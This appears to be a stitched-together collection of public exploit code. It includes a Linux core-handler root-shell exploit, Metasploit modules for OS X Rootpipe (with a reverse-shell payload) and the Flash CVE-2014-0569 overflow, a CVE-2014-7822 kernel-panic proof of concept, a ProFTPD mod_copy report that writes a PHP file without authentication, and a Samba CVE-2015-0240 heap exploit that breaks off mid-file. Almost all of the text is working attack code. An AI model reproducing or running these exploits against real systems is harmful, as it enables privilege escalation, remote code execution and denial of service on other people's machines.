if (link(*argv, "exploit/sh") != 0
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
err(EXIT_FAILURE, "failed to create required hard links");
}
// Create a subprocess so we don't enter the new namespace.
if ((wrapper = fork()) == 0) {
// In the child process, create a new pid and user ns. The pid
// namespace is only needed on Ubuntu, because they check for %P != %p
// in their core handler. On Fedora, just a user ns is sufficient.
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace");
// Create a process in the new namespace.
if ((init = fork()) == 0) {
// Init (pid 1) signal handling is special, so make a subprocess to
// handle the traps.
if ((subprocess = fork()) == 0) {
// Change /proc/self/root, which we can do as we're privileged
// within the new namepace.
if (chroot("exploit") != 0) {
err(EXIT_FAILURE, "chroot didnt work");
}
// Now trap to get the core handler invoked.
__builtin_trap();
// Shouldn't happen, unless user is ptracing us or something.
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
}
// If the subprocess exited with an abnormal signal, then everything worked.
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
// Something didn't work.
return EXIT_FAILURE;
}
// The new namespace didn't work.
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
// Waitpid failure.
return EXIT_FAILURE;
}
// If the subprocess returned sccess, the exploit probably worked, reload
// with euid zero.
if (waitpid(wrapper, &status, 0) == wrapper) {
// All done, spawn root shell.
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t", NULL);
}
}
// Unknown error.
errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
'Description' => %q{
This module exploits a hidden backdoor API in Apple's Admin framework on
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
Tested on Yosemite 10.10.2 and should work on previous versions.
The patch for this issue was not backported to older releases.
Note: you must run this exploit as an admin user to escalate to root.
},
'Author' => [
'Emil Kvarnhammar', # Vulnerability discovery and PoC
'joev', # Copy/paste monkey
'wvu' # Meta copy/paste monkey
],
'References' => [
['CVE', '2015-1130'],
['OSVDB', '114114'],
['EDB', '36692'],
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
],
'DisclosureDate' => 'Apr 9 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Targets' => [
['Mac OS X 10.9-10.10.2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
'CMD' => '/bin/zsh'
}
))
register_options([
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
end
def check
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def exploit
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)
print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
print_status('Executing exploit...')
cmd_exec(sploit)
print_status('Executing payload...')
cmd_exec(payload_file)
end
def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
)
end
def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end
def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end
def python_exploit
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
))
end
def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end
def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player casi32 Integer Overflow',
'Description' => %q{
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in
the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as
domainMemory for the current application domain. This module has been tested successfully
on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bilou', # Vulnerability discovery
'juan vazquez' # msf module
],
'References' =>
[
['ZDI', '14-365'],
['CVE', '2014-0569'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver == '15.0.0.167' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
/* ----------------------------------------------------------------------------------------------------
* cve-2014-7822_poc.c
*
* The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file
* which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call,
* as demonstrated by use of a file descriptor associated with an ext4 filesystem.
*
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
* Works on ext4 filesystem
* Tested on Ubuntu with 3.13 and 3.14 kernels
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-7822_poc cve-2014-7822_poc.c
*
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/
/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#define EXPLOIT_NAME "cve-2014-7822"
#define EXPLOIT_TYPE DOS
#define JUNK_SIZE 30000
/* ----------------------- functions ----------------------------*/
/* Useful:
*
+============+===============================+===============================+
| \ File flag| | |
| \ | !EXT4_EXTENTS_FL | EXT4_EXTETNS_FL |
|Fs Features\| | |
+------------+-------------------------------+-------------------------------+
| !extent | write: 2194719883264 | write: -------------- |
| | seek: 2199023251456 | seek: -------------- |
+------------+-------------------------------+-------------------------------+
| extent | write: 4402345721856 | write: 17592186044415 |
| | seek: 17592186044415 | seek: 17592186044415 |
+------------+-------------------------------+-------------------------------+
*/
/**
* Poc for cve_2014_7822 vulnerability
*/
int main()
{
int pipefd[2];
int result;
int in_file;
int out_file;
int zulHandler;
loff_t viciousOffset = 0;
char junk[JUNK_SIZE] ={0};
result = pipe(pipefd);
// Create and clear zug.txt and zul.txt files
system("cat /dev/null > zul.txt");
system("cat /dev/null > zug.txt");
// Fill zul.txt with A
zulHandler = open("zul.txt", O_RDWR);
memset(junk,'A',JUNK_SIZE);
write(zulHandler, junk, JUNK_SIZE);
close(zulHandler);
//put content of zul.txt in pipe
viciousOffset = 0;
in_file = open("zul.txt", O_RDONLY);
result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);
close(in_file);
// Put content of pipe in zug.txt
out_file = open("zug.txt", O_RDWR);
viciousOffset = 118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!!
printf("[cve_2014_7822]: ViciousOffset = %lu\n", (unsigned long)viciousOffset);
result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615
if (result == -1)
{
printf("[cve_2014_7822 error]: %d - %s\n", errno, strerror(errno));
exit(1);
}
close(out_file);
close(pipefd[0]);
close(pipefd[1]);
//Open zug.txt
in_file = open("zug.txt", O_RDONLY);
close(in_file);
printf("[cve_2014_7822]: POC triggered, ... system will panic after some time\n");
return 0;
}
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
He provides another, scarier example:
------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
Note:
- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option)
if something failed
Find heap address:
- ubuntu PIE heap start range: b7700000 - b9800000
- start payload size: the bigger it is the lesser connection and binding time.
but need more time to shrink payload size
- payload is too big to fit in freed small hole. so payload is always at end
of heap
- start bruteforcing heap address from high memory address to low memory address
to prevent 'creds' pointed to real heap chunk (also no crash but not our payload)
Leak info:
- heap layout is predictable because talloc_stackframe_pool(8192) is called after
accepted connection and fork but before calling smbd_server_connection_loop_once()
- before talloc_stackframe_pool(8192) is called, there are many holes in heap
but their size are <8K. so pool is at the end of heap at this time
- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool.
with the same pattern of request, the layout in pool are always the same.
- many data are not allocated in pool but fit in free holes. so no small size data are
allocated after pool.
- normally there are only few data block allocated after pool.
- pool size: 0x2048 (included glibc heap header 4 bytes)
- a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes)
- p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes)
- this might not be allocated here because its size might fit in freed hole
- all fragment should be same size to prevent talloc_realloc() changed pdu.data size
- so last fragment should be padded
- ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes)
- this might not be allocated here because its size might fit in freed hole
- p->in_data.data.data. the size is our netlogon data
- for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes)
- this data is allocated by realloc(), grew by each fragment. so this memory
block is not allocated by mmapped even the size is very big.
- pool layout for interested data
- r->out offset from pool (talloc header) is 0x13c0
- r->out.return_authenticator offset from pool is 0x13c0+0x18
- overwrite this (with link unlink) to leak info in ServerPasswordSet response
- smb_request offset from pool (talloc header) is 0x11a0
- smb_request.sconn offset from pool is 0x11a0+0x3c
- socket fd is at smb_request.sconn address (first struct member)
- more shared folder in configuration, more freed heap holes
- only if there is no or one shared, many data might be unexpected allocated after pool.
have to get that extra offset or bruteforce it
More exploitation detail in code (comment) ;)
"""
import sys
import time
from struct import pack,unpack
import argparse
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
class Requester:
"""
put all smb request stuff into class. help my editor folding them
"""
# impacket does not implement NetrServerPasswordSet
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
# response is authenticator (8 bytes) and error code (4 bytes)
# size of each field in sent packet
req_server_handle_size = 16
req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
req_sec_type_size = 2
req_computer_size = 4 + 4 + 4 + 2
req_authenticator_size = 8 + 2 + 4
req_new_pwd_size = 16
req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
samba_rpc_fragment_size = 4280
netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size
def __init__(self):
self.target = None
self.dce = None
sessionKey = '\x00'*16
# prepare ServerPasswordSet request
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16
self.serverName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds
self.serverName.fields['ReferentID'] = 0
self.accountName = WSTR()
request = Requester.NetrServerPasswordSet()
request['PrimaryName'] = self.serverName
request['AccountName'] = self.accountName
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = '\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
self.request = request
def set_target(self, target):
self.target = target
def set_payload(self, s, pad_to_size=0):
if pad_to_size > 0:
s += '\x00'*(pad_to_size-len(s))
pad_size = 0
if len(s) < (16*1024+1):
ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
if ofsize > 0:
pad_size = self.netlogon_data_fragment_size - ofsize
self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
self.accountName.fields['MaximumCount'] = None
self.accountName.fields['ActualCount'] = None
self.accountName.data = None # force recompute
set_accountNameData = set_payload
def get_dce(self):
if self.dce is None or self.dce.lostconn:
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(445)
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
self.dce = rpctransport.get_dce_rpc()
self.dce.connect()
self.dce.bind(nrpc.MSRPC_UUID_NRPC)
self.dce.lostconn = False
return self.dce
def get_socket(self):
return self.dce.get_rpc_transport().get_socket()
def force_dce_disconnect(self):
if not (self.dce is None or self.dce.lostconn):
self.get_socket().close()
self.dce.lostconn = True
def request_addr(self, addr):
self.serverName.fields['ReferentID'] = addr
dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
answer = dce.recv()
return unpack("<IIII", answer)
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return None
# call with no read
def call_addr(self, addr):
self.serverName.fields['ReferentID'] = addr
dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
return True
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return False
def force_recv(self):
dce = self.get_dce()
return dce.get_rpc_transport().recv(forceRecv=True)
def request_check_valid_addr(self, addr):
answers = self.request_addr(addr)
if answers is None:
return False # connection lost
elif answers[3] != 0:
return True # error, expected
else:
raise Error('Unexpected result')
# talloc constants
TALLOC_MAGIC = 0xe8150c70 # for talloc 2.0
TALLOC_FLAG_FREE = 0x01
TALLOC_FLAG_LOOP = 0x02
TALLOC_FLAG_POOL = 0x04
TALLOC_FLAG_POOLMEM = 0x08
TALLOC_HDR_SIZE = 0x30 # for 32 bit
flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP # for checking valid address
# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
TARGET_PAYLOAD_SIZE = 8192
########
# request helper functions
########
# only one global requester
requester = Requester()
def force_dce_disconnect():
requester.force_dce_disconnect()
def request_addr(addr):
return requester.request_addr(addr)
def request_check_valid_addr(addr):
return requester.request_check_valid_addr(addr)
def set_payload(s, pad_to_size=0):
requester.set_payload(s, pad_to_size)
def get_socket():
return requester.get_socket()
def call_addr(addr):
return requester.call_addr(addr)
def force_recv():
return requester.force_recv()
########
# find heap address
########
# only refs MUST be NULL, other never be checked
fake_chunk_find_heap = pack("<IIIIIIII",
0, 0, 0, 0, # refs
flag_loop, flag_loop, flag_loop, flag_loop,
)
def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
"""
below code can be used for checking valid heap address (no crash)
if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
/* we have a free loop - stop looping */
return 0;
}
"""
global fake_chunk_find_heap
payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
set_payload(payload)
addr_step = payload_size
addr = start_addr
i = 0
while addr > stop_addr:
if i == 16:
print(" [*]trying addr: {:x}".format(addr))
i = 0
if request_check_valid_addr(addr):
return addr
if first:
# first time, the last 16 bit is still do not know
# have to do extra check
if request_check_valid_addr(addr+0x10):
return addr+0x10
addr -= addr_step
i += 1
return None
def find_valid_heap_exact_addr(addr, payload_size):
global fake_chunk_find_heap
fake_size = payload_size // 2
while fake_size >= len(fake_chunk_find_heap):
payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
set_payload(payload, payload_size)
if not request_check_valid_addr(addr):
addr -= fake_size
fake_size = fake_size // 2
set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
# because glibc heap is align by 8
# so the last 4 bit of address must be 0x4 or 0xc
if request_check_valid_addr(addr-4):
addr -= 4
elif request_check_valid_addr(addr-0xc):
addr -= 0xc
else:
print(" [-] bad exact addr: {:x}".format(addr))
return 0
print(" [*] checking exact addr: {:x}".format(addr))
if (addr & 4) == 0:
return 0
# test the address
# must be invalid (refs is AccountName.ActualCount)
set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-4):
print(' [-] request_check_valid_addr(addr-4) failed')
return 0
# must be valid (refs is AccountName.Offset)
# do check again if fail. sometimes heap layout is changed
set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
print(' [-] request_check_valid_addr(addr-8) failed')
return 0
# must be invalid (refs is AccountName.MaxCount)
set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-0xc):
print(' [-] request_check_valid_addr(addr-0xc) failed')
return 0
# must be valid (refs is ServerHandle.ActualCount)
# do check again if fail. sometimes heap layout is changed
set_payload(pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
print(' [-] request_check_valid_addr(addr-0x10) failed')
return 0
return addr
def find_payload_addr(start_addr, start_payload_size, target_payload_size):
print('[*] bruteforcing heap address...')
start_addr = start_addr & 0xffff0000
heap_addr = 0
while heap_addr == 0:
# loop from max to 0xb7700000 for finding heap area
# offset 0x20000 is minimum offset from heap start to recieved data in heap
stop_addr = 0xb7700000 + 0x20000
good_addr = None
payload_size = start_payload_size
while payload_size >= target_payload_size:
force_dce_disconnect()
found_addr = None
for i in range(3):
found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
if found_addr is not None:
break
if found_addr is None:
# failed
good_addr = None
break
good_addr = found_addr
print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
start_addr = good_addr
stop_addr = good_addr - payload_size + 0x20
payload_size //= 2
if good_addr is not None:
# try 3 times to find exact address. if address cannot be found, assume
# minimizing payload size is not correct. start minimizing again
for i in range(3):
heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
if heap_addr != 0:
break
force_dce_disconnect()
if heap_addr == 0:
print(' [-] failed to find payload adress')
# start from last good address + some offset
start_addr = (good_addr + 0x10000) & 0xffff0000
print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))
payload_addr = heap_addr - len(fake_chunk_find_heap)
print(" [+] found payload addr: {:x}".format(payload_addr))
return payload_addr
########
# leak info
########
def addr2utf_prefix(addr):
def is_badchar(v):
return (v >= 0xd8) and (v <= 0xdf)
prefix = 0 # safe
if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
prefix |= 2 # cannot have prefix
if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
prefix |= 1 # must have prefix
return prefix
def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
"""
Note:
- if next_addr and prev_addr are not zero, they must be writable address
because of below code in _talloc_free_internal()
if (tc->prev) tc->prev->next = tc->next;
if (tc->next) tc->next->prev = tc->prev;
"""
# Note: U+D800 to U+DFFF is reserved (also bad char for samba)
# check if '\x00' is needed to avoid utf16 badchar
prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
if prefix_len == 3:
return None # cannot avoid badchar
if prefix_len == 2:
prefix_len = 0
fake_chunk_leak_info = pack("<IIIIIIIIIIII",
next_addr, prev_addr, # next, prev
0, 0, # parent, children
0, 0, # refs, destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
set_payload(payload, TARGET_PAYLOAD_SIZE)
if call_only:
return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
for i in range(3 if retry else 1):
try:
answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
except impacket.dcerpc.v5.rpcrt.Exception:
print("impacket.dcerpc.v5.rpcrt.Exception")
answers = None
force_dce_disconnect()
if answers is not None:
# leak info must have next or prev address
if (answers[1] == prev_addr) or (answers[0] == next_addr):
break
#print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
answers = None # no next or prev in answers => wrong answer
force_dce_disconnect() # heap is corrupted, disconnect it
return answers
def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: because leak_addr[4:8] will be replaced with r_out_addr
# only answers[0] and answers[2] are leaked
return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)
def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: leak_addr[0:4] will be replaced with r_out_addr
# only answers[1] and answers[2] are leaked
return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)
def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
# leak name field ('uint8_t') in found heap chunk
# do not retry this leak, because r_out_addr is guessed
answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
if answers is None:
return None
if answers[2] != TALLOC_MAGIC:
force_dce_disconnect()
return None
return answers[0]
def leak_info_find_offset(info):
# offset from pool to payload still does not know
print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
chunk_addr = info['chunk_addr']
uint8t_addr = None
r_addr = None
r_out_addr = None
while uint8t_addr is None:
# 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
# 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
# 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
# 0xad40 is extra offset when no share on debian
# 0x10d38 is extra offset when only [printers] is shared on debian
for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
r_addr = chunk_addr - offset
# 0x18 is out.authenticator offset
r_out_addr = r_addr + 0x18
print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))
uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
if uint8t_addr is not None:
print(" [*] success")
break
print(" [-] failed")
if uint8t_addr is None:
return False
info['uint8t_addr'] = uint8t_addr
info['r_addr'] = r_addr
info['r_out_addr'] = r_out_addr
info['pool_addr'] = r_addr - 0x13c0
print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
print(" [+] pool addr: {:x}".format(info['pool_addr']))
return True
def leak_sock_fd(info):
# leak sock fd from
# smb_request->sconn->sock
# (offset: ->0x3c ->0x0 )
print("[*] leaking socket fd ...")
info['smb_request_addr'] = info['pool_addr']+0x11a0
print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
if answers is None:
print(' [-] cannot leak sconn_addr address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
sconn_addr = answers[2]
info['sconn_addr'] = sconn_addr
print(' [+] sconn addr: {:x}'.format(sconn_addr))
# write in padding of chunk, no need to disconnect
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
if answers is None:
print('cannot leak sock_fd address :(')
return None
sock_fd = answers[1]
print(' [+] sock fd: {:d}'.format(sock_fd))
info['sock_fd'] = sock_fd
return sock_fd
def leak_talloc_pop_addr(info):
# leak destructor talloc_pop() address
# overwrite name field, no need to disconnect
print('[*] leaking talloc_pop address')
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
if answers is None:
print(' [-] cannot leak talloc_pop() address :(')
return None
if answers[2] != 0x2010: # chunk size must be 0x2010
print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
return None
talloc_pop_addr = answers[0]
print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
info['talloc_pop_addr'] = talloc_pop_addr
return talloc_pop_addr
def leak_smbd_server_connection_handler_addr(info):
# leak address from
# smbd_server_connection.smb1->fde ->handler
# (offset: ->0x9c->0x14 )
# MUST NOT disconnect after getting smb1_fd_event address
print('[*] leaking smbd_server_connection_handler address')
def real_leak_conn_handler_addr(info):
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
if answers is None:
print(' [-] cannot leak smb1_fd_event address :(')
return None
smb1_fd_event_addr = answers[1]
print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
if answers is None:
print(' [-] cannot leak smbd_server_connection_handler address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
smbd_server_connection_handler_addr = answers[0]
diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
if diff > 0x2000000 or diff < 0:
print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
smbd_server_connection_handler_addr = None
return smbd_server_connection_handler_addr
smbd_server_connection_handler_addr = None
